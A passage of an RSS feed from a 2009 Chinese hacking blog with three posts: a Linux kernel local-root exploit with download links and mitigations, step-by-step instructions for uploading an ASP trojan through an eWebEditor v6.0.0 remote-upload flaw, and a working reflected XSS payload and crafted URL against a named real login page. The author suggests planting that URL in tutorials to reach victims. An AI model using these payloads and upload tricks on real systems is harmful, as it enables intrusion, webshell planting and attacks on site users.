		<description><![CDATA[来源：baoz 在微软本月月经日(8.11)的同一天，国外黑客taviso和julien公开了可以攻击所有新旧Linux系统的一个漏洞，包括但不限于 RedHat,CentOS,Suse,Debian,Ubuntu,Slackware,Mandriva,Gentoo及其衍生系统。黑客只需要执行一个命令，就可以通过此漏洞获得root权限，即使开启了SELinux也于事无补。攻击这个漏洞到底有多简单，下面我们看图说话，有图有真相。 如上图所示，利用此漏洞极其简单，并且影响所有的Linux内核，baoz强烈建议系统管理员或安全人员参考下列临时修复方案，以防止Linux系统被攻击 。 2个攻击包下载 1、linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right 2、http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz 1、使用Grsecurity或者Pax内核安全补丁，并开启KERNEXEC防护功能。 2、升级到2.6.31-rc6或2.4.37.5以上的内核版本。 3、如果您使用的是RedHa tEnterprise Linux 4/5的系统或Centos4/5的系统，您可以通过下面的操作简单的操作防止被攻击。 在/etc/modprobe.conf文件中加入下列内容： install pppox /bin/true install bluetooth /bin/true install appletalk /bin/true install ipx /bin/true install sctp /bin/true 很明显，第三个方案最简单也相对有效，对业务影响也最小，如果您对编译和安装Linux内核不熟悉，千万不要使用前两个方案，否则您的系统可能永远无法启动。 Linux在微软的月经日爆如此严重的漏洞，挺值得纪念的。如果您希望了解本漏洞更多的内幕、八卦和细节，请访问http://baoz.net/linux-sockops-wrap-proto-ops-local-root-exploit/ 。]]></description>
			<content:encoded><![CDATA[<p>来源：baoz</p>
<p>在微软本月月经日(8.11)的同一天，国外黑客taviso和julien公开了可以攻击所有新旧Linux系统的一个漏洞，包括但不限于 RedHat,CentOS,Suse,Debian,Ubuntu,Slackware,Mandriva,Gentoo及其衍生系统。黑客只需要执行一个命令，就可以通过此漏洞获得root权限，即使开启了SELinux也于事无补。攻击这个漏洞到底有多简单，下面我们看图说话，有图有真相。</p>
<p><a  class="thickbox no_icon" href="http://www.st0p.org/blog/wp-content/uploads/2009/08/linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right.png" rel="gallery-114" title="linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/08/linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right.png" alt="linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right" title="linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right" width="623" height="360" class="alignnone size-full wp-image-115" /></a></p>
<p>如上图所示，利用此漏洞极其简单，并且影响所有的Linux内核，baoz强烈建议系统管理员或安全人员参考下列临时修复方案，以防止Linux系统被攻击 。</p>
<p>2个攻击包下载<br />
1、<a  target="_blank" href="http://www.st0p.org/blog/wp-content/uploads/2009/08/linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right.RAR">linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right</a><br />
2、<a  taget="_blank" href="http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz">http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz</a></p>
<p>1、使用Grsecurity或者Pax内核安全补丁，并开启KERNEXEC防护功能。</p>
<p>2、升级到2.6.31-rc6或2.4.37.5以上的内核版本。</p>
<p>3、如果您使用的是RedHa tEnterprise Linux 4/5的系统或Centos4/5的系统，您可以通过下面的操作简单的操作防止被攻击。</p>
<p>在/etc/modprobe.conf文件中加入下列内容：</p>
<p>install pppox /bin/true<br />
install bluetooth /bin/true<br />
install appletalk /bin/true<br />
install ipx /bin/true<br />
install sctp /bin/true</p>
<p>很明显，第三个方案最简单也相对有效，对业务影响也最小，如果您对编译和安装Linux内核不熟悉，千万不要使用前两个方案，否则您的系统可能永远无法启动。</p>
<p>Linux在微软的月经日爆如此严重的漏洞，挺值得纪念的。如果您希望了解本漏洞更多的内幕、八卦和细节，请访问http://baoz.net/linux-sockops-wrap-proto-ops-local-root-exploit/ 。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/linux-kernel-high-risk-vulnerability-a-command-directly-to-the-right.html/feed</wfw:commentRss>
		<slash:comments>187</slash:comments>
		</item>
		<item>
		<title>ewebeditor v6.0.0版本漏洞</title>
		<link>http://www.st0p.org/blog/archives/ewebeditor-v6-0-0-version-of-the-loopholes.html</link>
		<comments>http://www.st0p.org/blog/archives/ewebeditor-v6-0-0-version-of-the-loopholes.html#comments</comments>
		<pubDate>Sat, 18 Jul 2009 16:40:05 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[ewebeditor]]></category>
		<category><![CDATA[ewebeditor v6.0.0]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=54</guid>
		<description><![CDATA[来源：zake's blog 今天和静流聊天，他说ewebeditor出了最新漏洞。于是就是检测一下，这个程序爆漏洞一般都是直接上传的漏洞，不过没错 就是上传漏洞。首先在本地搭建一个ASP环境重命名一个木马名字例如：1.gif.asp这样的就OK了。 那么接下来完美本地搭建一个环境你可以用WEB小工具搭建一个，目的就是让远程上传。 http://127.0.0.1/1.gif.asp 搭建好了，在上传的地方，图片来源是网络，加上网络地址 然后确定，这里是最关键的一部！ 这里点了“远程文件自动上传”以后，再提交得到木马地址 由于官方在图片目录做了限制 导致不能执行ASP脚本而没能拿到WEB权限。 属于安全检测漏洞版本ewebeditor v6.0.0]]></description>
			<content:encoded><![CDATA[<p>来源：zake's blog</p>
<p>今天和静流聊天，他说ewebeditor出了最新漏洞。于是就是检测一下，这个程序爆漏洞一般都是直接上传的漏洞，不过没错 就是上传漏洞。首先在本地搭建一个ASP环境重命名一个木马名字例如：1.gif.asp这样的就OK了。</p>
<p>那么接下来完美本地搭建一个环境你可以用WEB小工具搭建一个，目的就是让远程上传。</p>
<p>http://127.0.0.1/1.gif.asp</p>
<p>搭建好了，在上传的地方，图片来源是网络，加上网络地址</p>
<p><a  href="http://www.st0p.org/blog/wp-content/uploads/2009/07/ewebeditor-v6-0-0-version-of-the-loopholes1.jpg" class="thickbox no_icon" rel="gallery-54" title="ewebeditor-v6-0-0-version-of-the-loopholes1"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/07/ewebeditor-v6-0-0-version-of-the-loopholes1.jpg" alt="ewebeditor-v6-0-0-version-of-the-loopholes1" title="ewebeditor-v6-0-0-version-of-the-loopholes1" width="500" height="467" class="alignnone size-full wp-image-56" /></a></p>
<p>然后确定，这里是最关键的一部！</p>
<p><a  href="http://www.st0p.org/blog/wp-content/uploads/2009/07/ewebeditor-v6-0-0-version-of-the-loopholes2.jpg" class="thickbox no_icon" rel="gallery-54" title="ewebeditor-v6-0-0-version-of-the-loopholes2"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/07/ewebeditor-v6-0-0-version-of-the-loopholes2.jpg" alt="ewebeditor-v6-0-0-version-of-the-loopholes2" title="ewebeditor-v6-0-0-version-of-the-loopholes2" width="304" height="259" class="alignnone size-full wp-image-57" /></a></p>
<p>这里点了“远程文件自动上传”以后，再提交得到木马地址</p>
<p><a  href="http://www.st0p.org/blog/wp-content/uploads/2009/07/ewebeditor-v6-0-0-version-of-the-loopholes3.jpg" class="thickbox no_icon" rel="gallery-54" title="ewebeditor-v6-0-0-version-of-the-loopholes3"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/07/ewebeditor-v6-0-0-version-of-the-loopholes3.jpg" alt="ewebeditor-v6-0-0-version-of-the-loopholes3" title="ewebeditor-v6-0-0-version-of-the-loopholes3" width="450" height="302" class="alignnone size-full wp-image-55" /></a></p>
<p>由于官方在图片目录做了限制 导致不能执行ASP脚本而没能拿到WEB权限。</p>
<p>属于安全检测漏洞版本ewebeditor v6.0.0</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/ewebeditor-v6-0-0-version-of-the-loopholes.html/feed</wfw:commentRss>
		<slash:comments>74</slash:comments>
		</item>
		<item>
		<title>3322 xss跨站漏洞</title>
		<link>http://www.st0p.org/blog/archives/3322-xss-cross-site-flaws.html</link>
		<comments>http://www.st0p.org/blog/archives/3322-xss-cross-site-flaws.html#comments</comments>
		<pubDate>Sat, 18 Jul 2009 16:23:47 +0000</pubDate>
		<dc:creator>st0p</dc:creator>
				<category><![CDATA[学·武功秘籍]]></category>
		<category><![CDATA[3322]]></category>
		<category><![CDATA[xss]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[跨站]]></category>

		<guid isPermaLink="false">http://www.st0p.org/blog/?p=49</guid>
		<description><![CDATA[作者:st0p 在一个站上面看到了个图,是别人利用后的图片,在3322上弹出一个提示,不过没写利用方法,然后偶就测试了一下..嘿嘿,写出利用方法吧,不过用处好像不大.. 打开http://www.3322.org/dyndns/login 然后用户名处输入 1 &#34;&#62;&#60;script&#62;alert('st0p感觉压力很大');&#60;/script&#62; 密码随意输入... 当然这种利用方法不是我们喜欢的,我们换成网址... http://www.3322.org/dyndns/login?action=login&#038;username=%22%3E%3Cscript%3Ealert%28%27st0p%B8%D0%BE%F5%D1%B9%C1%A6%BA%DC%B4%F3%27%29%3B%3C%2Fscript%3E&#038;password=bbb 嘿嘿,如果说这东西发在一篇需要使用3322域名的教程之后,会有啥效果呢....这想法很YD..]]></description>
			<content:encoded><![CDATA[<p>作者:st0p</p>
<p>在一个站上面看到了个图,是别人利用后的图片,在3322上弹出一个提示,不过没写利用方法,然后偶就测试了一下..嘿嘿,写出利用方法吧,不过用处好像不大..<br />
打开http://www.3322.org/dyndns/login<br />
然后用户名处输入</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&quot;&gt;&lt;script&gt;alert('st0p感觉压力很大');&lt;/script&gt;</pre></td></tr></table></div>

<p>密码随意输入...<br />
<a  href="http://www.st0p.org/blog/wp-content/uploads/2009/07/3322-cross-site-flaws.gif" class="thickbox no_icon" rel="gallery-49" title="3322-cross-site-flaws"><img src="http://www.st0p.org/blog/wp-content/uploads/2009/07/3322-cross-site-flaws.gif" alt="3322-cross-site-flaws" title="3322-cross-site-flaws" width="435" height="417" class="alignnone size-full wp-image-50" /></a></p>
<p>当然这种利用方法不是我们喜欢的,我们换成网址...</p>
<p>http://www.3322.org/dyndns/login?action=login&#038;username=%22%3E%3Cscript%3Ealert%28%27st0p%B8%D0%BE%F5%D1%B9%C1%A6%BA%DC%B4%F3%27%29%3B%3C%2Fscript%3E&#038;password=bbb</p>
<p>嘿嘿,如果说这东西发在一篇需要使用3322域名的教程之后,会有啥效果呢....这想法很YD..</p>
]]></content:encoded>
			<wfw:commentRss>http://www.st0p.org/blog/archives/3322-xss-cross-site-flaws.html/feed</wfw:commentRss>
		<slash:comments>922</slash:comments>
		</item>
	</channel>
</rss>

